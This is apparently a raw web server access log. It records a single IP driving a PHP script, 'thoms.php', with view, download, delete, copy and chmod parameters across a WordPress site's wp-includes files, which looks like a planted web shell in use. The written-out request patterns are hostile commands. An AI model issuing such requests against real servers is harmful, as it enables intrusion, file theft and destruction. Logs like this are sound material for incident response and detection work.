45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme-previews.php HTTP/1.1" 200 13146 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=theme-previews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?dl=class-wp-locale.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=version.php HTTP/1.1" 200 12360 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=version.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:18 -0400] "GET /thoms.php?del=class-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-view-config-data.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 200 12320 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11840 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fblock-template-utils.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-http-response.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 200 16420 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rdf.php HTTP/1.1" 200 13044 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=feed-rdf.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 200 61478 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2FSimplePie HTTP/1.1" 200 13127 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2FSimplePie" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fimages HTTP/1.1" 200 17832 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /bossini.com.tw/wp-includes/category-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:19 -0400] "GET /thoms.php?dl=theme-i18n.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59183 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 12880 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fscript-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fscript-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /thoms.php?del=ms-default-constants.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59207 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /bossini.com.tw/wp-includes/pomo/ HTTP/1.1" 200 1269 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /thoms.php?dl=script-modules.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /bossini.com.tw/wp-includes/category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /thoms.php?del=ai-client&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?del=ai-client&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /bossini.com.tw/wp-includes/class-wp-term-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:20 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-page.php HTTP/1.1" 200 14293 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-walker-page.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?chmod=media-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=media-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?chmod=deprecated.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?del=class-wp-http.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?dl=class-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59009 "http://163.245.207.76:443/thoms.php?dl=class-walker-page-dropdown.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?chmod=query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 200 12251 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:21 -0400] "GET /thoms.php?dl=meta.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /thoms.php?chmod=wp-db.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-feed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-feed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /bossini.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /thoms.php?dl=view-transitions.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59125 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /thoms.php?del=class-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-control.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /thoms.php?del=class-wp-embed.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-embed.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /thoms.php?dl=class-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59162 "http://163.245.207.76:443/thoms.php?dl=class-wp-image-editor.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:22 -0400] "GET /thoms.php?chmod=class-wp-term-query.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=class-wp-term-query.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:23 -0400] "GET /thoms.php?dl=feed-atom.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59154 "http://163.245.207.76:443/thoms.php?dl=feed-atom.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:23 -0400] "GET /thoms.php?del=theme.json&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=theme.json&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:23 -0400] "GET /thoms.php?del=class-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?del=class-wp-user-meta-session-tokens.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:23 -0400] "GET /thoms.php?del=icons.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59134 "http://163.245.207.76:443/thoms.php?del=icons.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:23 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frevision.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Frevision.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:23 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fabilities-api&p= HTTP/1.1" 200 12333 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fabilities-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblocks HTTP/1.1" 200 39713 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes%2Fblocks" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-walker-page.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?chmod=class-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=class-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?dl=bookmark-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59168 "http://163.245.207.76:443/thoms.php?dl=bookmark-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fpost-thumbnail-template.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /bossini.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?dl=https-detection.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59164 "http://163.245.207.76:443/thoms.php?dl=https-detection.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php HTTP/1.1" 200 12345 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-filter-sentinel.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?dl=ai-client.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?dl=ai-client.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /bossini.com.tw/wp-includes/date.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /thoms.php?chmod=class-wp-role.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11514 "http://163.245.207.76:443/thoms.php?chmod=class-wp-role.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:24 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59165 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /thoms.php?chmod=class-walker-category.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2FID3&p= HTTP/1.1" 200 12339 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2FID3&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59163 "http://163.245.207.76:443/thoms.php?del=class-wp-simplepie-sanitize-kses.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /thoms.php?del=class-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59177 "http://163.245.207.76:443/thoms.php?del=class-wp-url-pattern-prefixer.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /bossini.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /thoms.php?dl=media.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 59166 "http://163.245.207.76:443/thoms.php?dl=media.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:25 -0400] "GET /thoms.php?chmod=widgets&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=widgets&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-includes%2Fclass-wp-object-cache.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 200 17503 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:29:26 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 200 14086 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
